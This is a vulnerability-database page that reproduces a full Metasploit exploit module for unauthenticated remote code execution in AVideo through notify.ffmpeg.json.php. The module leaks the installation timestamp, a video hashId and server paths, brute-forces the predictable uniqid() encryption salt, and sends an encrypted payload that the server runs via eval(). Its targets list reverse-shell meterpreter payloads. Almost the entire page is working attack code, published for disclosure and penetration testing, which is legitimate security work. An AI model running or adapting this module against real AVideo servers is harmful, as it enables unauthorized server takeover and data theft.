Lucene search
K

AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery

🗓️ 16 Jan 2026 18:59:10Reported by Valentin Lobstein <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 390 Views

Unauthenticated remote code execution in AVideo via notify.ffmpeg.json.php using salt from insecure uniqid() with decryption fallback.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'
require 'time'
require 'tzinfo'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution (RCE) vulnerability
          in AVideo's notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical
          cryptographic weakness in the salt generation mechanism combined with information
          disclosure vulnerabilities that allow an attacker to discover the encryption salt
          through offline bruteforce.

          Root Cause:
          During installation, AVideo generates an encryption salt using PHP's uniqid() function,
          which is not cryptographically secure. uniqid() generates a 13-character hexadecimal
          string composed of: 8 characters for Unix timestamp in hex, and 5 characters for
          microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values).

          Exploit Chain:
          1. Leak installation timestamp from /objects/categories.json.php (public endpoint)
          2. Leak video hashId from /objects/videosAndroid.json.php or /plugin/API/get.json.php
          3. Leak system root path from posterPortraitPath in video API responses
          4. Leak server timezones from /objects/getTimes.json.php
          5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison
          6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval()

          The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter,
          which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails,
          it retries with the old uniqid() salt. This fallback makes the RCE exploitable.

          Affected Versions:
          AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in
          encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with
          eval($callback) (introduced January 7, 2025).

          Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove
          the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT.

          This vulnerability does not require authentication and can be exploited remotely by any
          attacker who can access the AVideo instance.
        },
        'Author' => [
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-34433'], # Unauthenticated RCE via Predictable Salt
          ['CVE', '2025-34441'], # Information Disclosure: hashId leak
          ['CVE', '2025-34442'], # Information Disclosure: System Path leak
          ['URL', 'https://github.com/WWBN/AVideo/pull/10284'],
          ['URL', 'https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/'],
          ['URL', 'https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt']
        ],
        'Platform' => %w[php unix linux win],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2025-12-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
      OptString.new('SALT', [false, 'Known salt (skips bruteforce)', '']),
      OptString.new('SYSTEM_ROOT', [false, 'System root path (fallback if leak fails)', '/var/www/html/AVideo/'])
    ])
  end

  def check
    gather_info
    return CheckCode::Safe('notify.ffmpeg.json.php not found (requires 14.3.1+)') unless @notify_exists

    salt_provided = !datastore['SALT'].to_s.empty?
    unless salt_provided
      return CheckCode::Safe('categories.json.php inaccessible (timestamp leak required)') unless @timestamp_accessible
      return CheckCode::Safe('hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)') unless @hashid_accessible
    end

    return CheckCode::Appears("Vulnerable version #{@version} detected") if @version && @version >= Rex::Version.new('14.3.1')
    return CheckCode::Safe("Version #{@version} requires 14.3.1+") if @version

    CheckCode::Appears('Prerequisites met (version unknown)')
  end

  def exploit
    gather_info
    fail_with(Failure::Unknown, 'Failed to discover salt') unless discover_salt

    callback_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    vprint_status('Executing payload...')
    res = send_rce_payload(callback_payload)

    return if session_created?

    if res&.code == 200
      vprint_status("Payload executed (response: #{res.code})")
      return
    end

    error_msg = parse_error_from_response(res)
    fail_with(Failure::Unknown, error_msg ? "Exploit failed: #{error_msg}" : "Unexpected response code: #{res&.code}")
  end

  def parse_error_from_response(res)
    return nil unless res&.body

    data = JSON.parse(res.body)
    return data['msg'] if data['msg'] && !data['msg'].to_s.empty?
    return 'Unknown error' if data['error'] == true

    nil
  rescue JSON::ParserError
    nil
  end

  def gather_info
    return if @notify_exists && @timestamp_accessible && @hashid_accessible && @timestamps && @video_info

    vprint_status('Gathering target information...')
    detect_version
    @notify_exists = check_notify_endpoint

    @timestamp_accessible = check_endpoint('objects/categories.json.php')
    @timestamps ||= get_timestamps if @timestamp_accessible

    # get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests
    @video_info ||= get_video_info
    @hashid_accessible = !@video_info.nil?
  end

  def detect_version
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true })
    return unless res&.code == 200

    version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
    return unless version_match && version_match[1]

    @version = Rex::Version.new(version_match[1])
    vprint_status("Detected AVideo version: #{@version}")
  end

  def check_endpoint(path)
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' })
    res&.code == 200
  end

  def check_notify_endpoint
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET' })
    return false unless res

    res.code == 403 && res.body.to_s.include?('Empty notifyCode')
  end

  # Fetch server timezones to test multiple uniqid calculations with different offsets
  def get_timezones
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'objects', 'getTimes.json.php'),
      'method' => 'GET'
    })
    return [nil, nil] unless res&.code == 200

    data = JSON.parse(res.body)
    [data['_serverSystemTimezone'], data['_serverDBTimezone']]
  rescue StandardError
    [nil, nil]
  end

  # If the default category created at install was deleted, exploit will fail (timestamp not guessable)
  def get_timestamps
    vprint_status('Leaking installation timestamp...')
    system_tz, db_tz = get_timezones
    vprint_status("Server timezones: system=#{system_tz}, db=#{db_tz}")

    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'categories.json.php'), 'method' => 'GET' })
    return [] unless res&.code == 200

    # Try JSON parsing first, fallback to regex if JSON is invalid
    timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz)
    return timestamps if timestamps.any?

    parse_timestamps_from_regex(res.body, system_tz, db_tz)
  end

  def parse_timestamps_from_json(body, system_tz, db_tz)
    data = JSON.parse(body)
    rows = data['rows']
    return [] unless rows.is_a?(Array) && !rows.empty?

    first_category = rows.min_by { |c| c['id'].to_i }
    created = first_category['created']
    timestamps = datetime_to_timestamps(created, system_tz, db_tz)
    vprint_good("Installation timestamp: #{created} -> #{timestamps.first}")
    timestamps
  rescue JSON::ParserError
    []
  end

  def parse_timestamps_from_regex(body, system_tz, db_tz)
    matches = body.scan(/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/m)
    return [] if matches.empty?

    created = matches.min_by { |m| m[0].to_i }[1]
    timestamps = datetime_to_timestamps(created, system_tz, db_tz)
    vprint_good("Installation timestamp (regex): #{created} -> #{timestamps.first}")
    timestamps
  end

  def datetime_to_timestamps(dt_str, system_tz, db_tz)
    dt = Time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')
    dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec)
    timezones = [system_tz, db_tz, 'UTC'].compact.uniq

    timezones.map do |tz|
      tz_obj = TZInfo::Timezone.get(tz)
      format('%x', tz_obj.local_to_utc(dt_local).to_i)
    end.uniq
  rescue StandardError => e
    vprint_error("Error converting datetime: #{e}")
    []
  end

  def get_system_root
    return @system_root if @system_root && !@system_root.empty?

    # Try to get from cached endpoint responses first
    @system_root = extract_system_root_from_cache
    if @system_root
      vprint_good("System root leaked: #{@system_root}")
      return @system_root
    end

    # On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances)
    @system_root = datastore['SYSTEM_ROOT']
    vprint_status("Using fallback system root: #{@system_root}")
    @system_root
  end

  def extract_system_root_from_cache
    pattern = /"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/

    # Collect all cached response bodies to scan
    bodies = (@endpoint_cache || {}).values

    bodies.each do |body|
      body.scan(pattern).each do |match|
        path = match[0].gsub('\\/', '/')
        root = find_root_in_path(path)
        return root if root
      end
    end
    nil
  end

  def find_root_in_path(path)
    %w[/view/ /videos/ /plugin/].each do |subdir|
      return path.split(subdir)[0] + '/' if path.include?(subdir)
    end
    nil
  end

  # Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction)
  # Note: videosAndroid.json.php can take a long time to load, this is expected
  # hashId won't be accessible if no public videos exist on the instance
  def get_video_info
    vprint_status('Leaking video hashId...')
    @endpoint_cache ||= {}

    endpoints = [
      normalize_uri(target_uri.path, 'objects', 'videosAndroid.json.php'),
      normalize_uri(target_uri.path, 'plugin', 'API', 'get.json.php') + '?APIName=video',
      normalize_uri(target_uri.path, 'view', 'info.php')
    ]

    endpoints.each do |endpoint|
      info = extract_video_info_from_endpoint(endpoint)
      return info if info
    rescue StandardError => e
      vprint_error("Error checking #{endpoint}: #{e}")
    end
    nil
  end

  def extract_video_info_from_endpoint(endpoint)
    # Use cached response if available
    body = @endpoint_cache[endpoint]
    unless body
      res = send_request_cgi({ 'uri' => endpoint, 'method' => 'GET' })
      return nil unless res&.code == 200

      body = res.body
      @endpoint_cache[endpoint] = body
    end

    data = JSON.parse(body)
    videos = data['videos'] || data.dig('response', 'rows') || (data['response'].is_a?(Array) ? data['response'] : [])
    return nil if videos.empty?

    video = videos.find { |v| v['id'] && v['hashId'] }
    return nil unless video

    hash_id = video['hashId']
    cipher = hash_id.length < 16 ? 'RC4' : 'AES-128-CBC'
    vprint_good("Video ID=#{video['id']}, hashId=#{hash_id} (#{cipher})")
    { id: video['id'].to_i, hash_id: hash_id, cipher: cipher }
  end

  def compute_hashid(video_id, salt, cipher_type = 'AES-128-CBC')
    key = Digest::MD5.hexdigest(salt)[0, 16]
    plaintext = video_id.to_s(32)
    cipher = OpenSSL::Cipher.new(cipher_type)
    cipher.encrypt
    cipher.key = key
    cipher.iv = key if cipher_type == 'AES-128-CBC'

    Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final)
  end

  def encrypt_payload(payload)
    key = Digest::SHA256.hexdigest(@salt)[0, 32]
    iv = Digest::SHA256.hexdigest(@system_root)[0, 16]

    cipher = OpenSSL::Cipher.new('AES-256-CBC')
    cipher.encrypt
    cipher.key = key
    cipher.iv = iv

    Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final))
  end

  def test_salt_candidate(candidate, video)
    compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id]
  end

  def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total)
    return unless (micro % 100_000).zero? && micro > 0

    current = (ts_idx * 0x100000) + micro
    pct = (100.0 * current / total).round(1)
    formatted_micro = micro.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse
    print("%bld%blu[*]%clr [#{ts_idx + 1}/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\r")
  end

  def bruteforce_salt(timestamps, video)
    vprint_status("Bruteforcing salt (#{video[:cipher]})...")
    start_time = Time.now
    total = timestamps.length * 0x100000

    timestamps.each_with_index do |ts_hex, ts_idx|
      (0...0x100000).each do |micro|
        candidate = format('%s%05x', ts_hex, micro)
        if test_salt_candidate(candidate, video)
          print("\r")
          elapsed = (Time.now - start_time).round(2)
          vprint_good("Salt found: #{candidate} (in #{elapsed}s)")
          return candidate
        end
        print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total)
      end
    end

    print("\r")
    nil
  end

  def discover_salt
    @salt ||= datastore['SALT'] unless datastore['SALT'].to_s.empty?
    if @salt
      vprint_good("Using provided salt: #{@salt}")
      return get_system_root
    end

    get_system_root
    @timestamps ||= get_timestamps
    @video_info ||= get_video_info
    return false if @timestamps.empty? || !@video_info

    @salt = bruteforce_salt(@timestamps, @video_info)
    [email protected]?
  end

  def send_rce_payload(callback_payload)
    notify_code = encrypt_payload('valid')
    callback = encrypt_payload(callback_payload)

    filename = Rex::Text.rand_text_alphanumeric(8..16)
    ext = %w[mp4 avi mkv mov webm].sample
    full_filename = "#{filename}.#{ext}"

    notify_data = {
      'avideoPath' => full_filename,
      'avideoRelativePath' => full_filename,
      'avideoFilename' => filename
    }
    notify = JSON.generate(notify_data.to_a.shuffle.to_h)

    params = {
      'notifyCode' => notify_code,
      'notify' => notify,
      'callback' => callback
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'),
      'method' => 'GET',
      'vars_get' => params.to_a.shuffle.to_h
    })
    res
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation